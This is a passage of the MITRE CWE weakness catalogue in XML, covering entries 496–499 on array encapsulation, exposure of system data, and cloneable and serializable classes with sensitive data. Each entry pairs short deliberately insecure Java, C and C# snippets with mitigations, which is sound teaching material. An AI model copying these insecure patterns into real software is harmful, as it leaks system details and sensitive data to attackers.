			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Private Array-Typed Field Returned From A Public
						Method</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <White_Box_Definitions>
				        <White_Box_Definition>
					          <Text>A weakness where code path has a statement that belongs to a public method
						and returns a reference to a private array field</Text>
				        </White_Box_Definition>
			      </White_Box_Definitions>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>KDM Analytics</Modifier_Organization>
					          <Modification_Date>2008-08-01</Modification_Date>
					          <Modification_Comment>added/updated white box definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="496" Name="Public Data Assigned to Private Array-Typed Field" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>Assigning public data to a private array is equivalent to
					giving public access to the array.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>485</Relationship_Target_ID>
					          <!--Insufficient Encapsulation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
					          <Language Language_Name="Java"/>
					          <Language Language_Name=".NET"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The contents of the array can be modified from outside the intended
							scope.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Do not allow objects to modify private members of a class.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the example below, the setRoles() method assigns a
						publically-controllable array to a private field, thus allowing the caller
						to modify the private array directly by virtue of the fact that arrays in
						Java are mutable.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>private String[] userRoles;</Code>
							              <Code>public void setUserRoles(String[] userRoles) {</Code>
							              <Block>
								                <Code>this.userRoles = userRoles;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Public Data Assigned to Private Array-Typed
						Field</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <White_Box_Definitions>
				        <White_Box_Definition>
					          <Text>A weakness where code path has a statement that assigns a data item to a
						private array field and the data item is public</Text>
				        </White_Box_Definition>
			      </White_Box_Definitions>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>KDM Analytics</Modifier_Organization>
					          <Modification_Date>2008-08-01</Modification_Date>
					          <Modification_Comment>added/updated white box definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="497" Name="Exposure of System Data to an Unauthorized Control Sphere" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>Exposing system data or debugging information helps an
					adversary learn about the system and form an attack plan.</Description_Summary>
				        <Extended_Description>
					          <Text>An information exposure occurs when system data or debugging information
						leaves the program through an output stream or logging function that makes
						it accessible to unauthorized parties. An attacker can also cause errors to
						occur by submitting unusual requests to the web application. The response to
						these errors can reveal detailed system information, deny service, cause
						security mechanisms to fail, and crash the server. An attacker can use error
						messages that reveal technologies, operating systems, and product versions
						to tune the attack against known vulnerabilities in these technologies. An
						application may use diagnostic methods that provide significant
						implementation details such as stack traces as part of its error handling
						mechanism.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>200</Relationship_Target_ID>
					          <!--Information Exposure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>485</Relationship_Target_ID>
					          <!--Insufficient Encapsulation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>851</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>880</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Production applications should never use methods that generate
							internal details such as stack traces and error messages unless that
							information is directly committed to a log that is not viewable by the
							end user. All error message text should be HTML entity encoded before
							being written to the log file to protect against potential cross-site
							scripting attacks against the viewer of the logs</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following code prints the path environment variable to the
						standard error stream:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>char* path = getenv("PATH");</Code>
							              <Code>...</Code>
							              <Code>sprintf(stderr, "cannot find exe on path %s\n", path);</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following code prints an exception to the standard error
						stream:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>try {</Code>
							              <Block>
								                <Code>...</Code>
							              </Block>
							              <Code>} catch (Exception e) {</Code>
							              <Block>
								                <Code>e.printStackTrace();</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code>try {</Code>
							              <Block>
								                <Code>...</Code>
							              </Block>
							              <Code>} catch (Exception e) {</Code>
							              <Block>
								                <Code>Console.Writeline(e);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>Depending upon the system configuration, this information can be
							dumped to a console, written to a log file, or exposed to a remote user.
							In some cases the error message tells the attacker precisely what sort
							of an attack the system will be vulnerable to. For example, a database
							error message can reveal that the application is vulnerable to a SQL
							injection attack. Other error messages can reveal more oblique clues
							about the system. In the example above, the search path could imply
							information about the type of operating system, the applications
							installed on the system, and the amount of care that the administrators
							have put into configuring the program.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following code constructs a database connection string, uses it
						to create a new connection to the database, and prints it to the
						console.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C#</Code_Example_Language>
							              <Code>string cs="database=northwind; server=mySQLServer...";</Code>
							              <Code>SqlConnection conn=new SqlConnection(cs);</Code>
							              <Code>...</Code>
							              <Code>Console.Writeline(cs);</Code>
						            </Block>
						            <Text>Depending on the system configuration, this information can be dumped
							to a console, written to a log file, or exposed to a remote user. In
							some cases the error message tells the attacker precisely what sort of
							an attack the system is vulnerable to. For example, a database error
							message can reveal that the application is vulnerable to a SQL injection
							attack. Other error messages can reveal more oblique clues about the
							system. In the example above, the search path could imply information
							about the type of operating system, the applications installed on the
							system, and the amount of care that the administrators have put into
							configuring the program.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>System Information Leak</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not allow exceptions to expose sensitive
						information</Mapped_Node_Name>
					          <Mapped_Node_ID>ERR01-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Do not allow exceptions to transmit sensitive
						information</Mapped_Node_Name>
					          <Mapped_Node_ID>ERR12-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>169</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings,
						Type</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">System Information
						Leak</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-12-28">Information Leak of System
						Data</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="498" Name="Cloneable Class Containing Sensitive Information" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The code contains a class with sensitive data, but the class is
					cloneable. The data can then be accessed by cloning the
					class.</Description_Summary>
				        <Extended_Description>
					          <Text>Cloneable classes are effectively open classes, since data cannot be
						hidden in them. Classes that do not explicitly deny cloning can be cloned by
						any other class without running the constructor. </Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>485</Relationship_Target_ID>
					          <!--Insufficient Encapsulation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>200</Relationship_Target_ID>
					          <!--Information Exposure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>849</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 04 - Object Orientation (OBJ)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C++"/>
					          <Language Language_Name="Java"/>
					          <Language Language_Name=".NET"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>A class that can be cloned can be produced without executing the
							constructor. This is dangerous since the constructor may perform
							security-related checks. By allowing the object to be cloned, those
							checks may be bypassed.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Make classes uncloneable by defining a clone function like:</Text>
						            <Block Block_Nature="Mitigation_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public final void clone() throws
								java.lang.CloneNotSupportedException {</Code>
							              <Block>
								                <Code>throw new java.lang.CloneNotSupportedException();</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>If you do make your classes clonable, ensure that your clone method is
							final and throw super.clone().</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text/>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class CloneClient {</Code>
							              <Block>
								                <Code>public CloneClient() //throws</Code>
								                <Code>java.lang.CloneNotSupportedException {</Code>
								                <Block>
									                  <Code/>
									                  <Code>Teacher t1 = new Teacher("guddu","22,nagar road");</Code>
									                  <Code>//...</Code>
									                  <Code>// Do some stuff to remove the teacher.</Code>
									                  <Code>Teacher t2 = (Teacher)t1.clone();</Code>
									                  <Code>System.out.println(t2.name);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>public static void main(String args[]) {</Code>
								                <Block>
									                  <Code/>
									                  <Code>new CloneClient();</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>class Teacher implements Cloneable {</Code>
							              <Block>
								                <Code/>
								                <Code>public Object clone() {</Code>
								                <Block>
									                  <Code/>
									                  <Code>try {</Code>
									                  <Block>
										                    <Code>return super.clone();</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code>catch (java.lang.CloneNotSupportedException e) {</Code>
									                  <Block>
										                    <Code/>
										                    <Code>throw new RuntimeException(e.toString());</Code>
									                  </Block>
									                  <Code>}</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>public String name;</Code>
								                <Code>public String clas;</Code>
								                <Code>public Teacher(String name,String clas) {</Code>
								                <Block>
									                  <Code/>
									                  <Code>this.name = name;</Code>
									                  <Code>this.clas = clas;</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Information leak through class cloning</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Sensitive classes must not let themselves be
						copied</Mapped_Node_Name>
					          <Mapped_Node_ID>OBJ07-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Description, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Description, Other_Notes,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2011-03-29">Information Leak through
						Class Cloning</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="499" Name="Serializable Class Containing Sensitive Data" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The code contains a class with sensitive data, but the class
					does not explicitly deny serialization. The data can be accessed by serializing
					the class through another class.</Description_Summary>
				        <Extended_Description>
					          <Text>Serializable classes are effectively open classes since data cannot be
						hidden in them. Classes that do not explicitly deny serialization can be
						serialized by any other class, which can then in turn use the data stored
						inside it.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>485</Relationship_Target_ID>
					          <!--Insufficient Encapsulation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>200</Relationship_Target_ID>
					          <!--Information Exposure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>858</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 13 - Serialization (SER)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>an attacker can write out the class to a byte stream, then extract the
							important data from it.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>In Java, explicitly define final writeObject() to prevent
							serialization. This is the recommended solution. Define the
							writeObject() function to throw an exception explicitly denying
							serialization.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Make sure to prevent serialization of your objects.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
